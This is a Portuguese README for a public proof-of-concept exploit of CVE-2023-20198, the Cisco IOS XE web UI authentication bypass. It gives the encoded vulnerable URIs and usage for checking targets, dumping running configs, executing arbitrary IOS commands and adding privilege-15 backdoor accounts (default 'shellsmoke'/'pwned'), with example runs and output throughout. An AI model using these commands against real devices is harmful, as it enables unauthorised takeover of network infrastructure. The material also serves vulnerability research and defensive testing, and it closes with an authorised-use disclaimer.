smokeintheshell/cve-2023-20198CVE-2023-20198 Exploit PoC
PoC de exploit para CVE-2023-20198
O CVE-2023-20198 é caracterizado por uma validação inadequada de caminho que permite contornar a filtragem do Nginx para alcançar o endpoint web webui_wsma_http sem exigir autenticação.
Ao contornar a autenticação no endpoint, um atacante pode executar comandos arbitrários do Cisco IOS ou realizar alterações de configuração com privilégios de nível 15 (Privilege 15).
A investigação da Cisco sobre a exploração ativa da vulnerabilidade anteriormente não divulgada revelou que os agentes de ameaças primeiro exploraram o CVE-2023-20198 para adicionar um novo usuário com privilégio de nível 15. Ataques adicionais envolveram a exploração do CVE-2023-20273 para escalar para o usuário root do sistema operacional Linux subjacente, facilitando a implantação.
Este PoC explora o CVE-2023-20198 para aproveitar dois endpoints XML SOAP diferentes:
As opções de verificação de vulnerabilidade, configuração e execução de comandos têm como alvo o endpoint SOAP cisco:wsma-exec para inserir comandos na tag do elemento execCLI.
A opção de adicionar usuário tem como alvo o endpoint SOAP cisco:wsma-config para realizar uma alteração de configuração e adicionar a conta com privilégio 15. Esse endpoint pode ser [ab]usado para fazer outras alterações de configuração, mas isso está fora do escopo deste PoC.
O abuso do endpoint SOAP cisco:wsma-exec veio do template nuclei
O abuso do endpoint SOAP veio do PoC do horizon3ai
cisco:wsma-configNota: Não conduzi nenhuma das pesquisas originais nem o desenvolvimento do PoC para este CVE. Consulte a seção de referências para os créditos.
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-uri vulnerableURI The URI that is vulnerable to exploit. The most common are "%2577eb%2575i_%2577sma_Http", "%2577eb%2575i_%2577sma_https", and "%2577ebui_wsma_https". You may need to play around with these along with -https to get a true positive result
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: shellsmoke
-p newUserPass [Optional] new user pass for -a. Default: pwned
-o outputFile Write output to file
-v Increase verbosity
Para verificar o CVE-2023-20198, -c tentará explorar a vulnerabilidade para executar uname -a
Exemplo:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
A opção -g executa sh run para obter a configuração ativa (running config)
Exemplo:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
Comandos arbitrários do Cisco IOS podem ser executados com a opção -e.
Extrema cautela deve ser usada ao utilizar isso para fazer alterações de configuração. Não há validação de entrada e as alterações são aplicadas imediatamente à configuração ativa (running config).
Exemplo:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
A opção -a pode ser usada para criar uma nova conta de usuário com privilégio 15, opcionalmente especificando o nome da conta e a senha com -u e -p, respectivamente.
Exemplo:
# ./exploit.py -t 10.0.0.1 -a -u shellsmoke -p pwned
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: shellsmoke
New User Pass: pwned
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
A opção -d pode ser usada para remover uma conta de usuário do dispositivo e respeita o nome de usuário especificado com -u.
É necessário ter cautela para garantir que você não esteja excluindo uma conta legítima.
Isso foi adicionado para casos em que o acesso shell/webui a um Cisco explorado não pode ser obtido. Foi observado que adicionar um usuário com privilégio 15 não concede acesso ao webui e pode deixar artefatos de exploração nos hosts.
Advisory da Cisco
pesquisa do horizon3ai sobre CVE-2023-20198
PoC do horizon3ai para CVE-2023-20198
template do nuclei para CVE-2023-20198 (Autores: iamnoooob, rootxharsh, pdresearch)
PoC do LeakIX para CVE-2023-20273
O código contido neste projeto destina-se apenas a pesquisa e uso em sistemas nos quais o usuário tenha autorização explícita.
O autor deste projeto não é responsável por uso indevido do software.
Use com responsabilidade e não seja mau.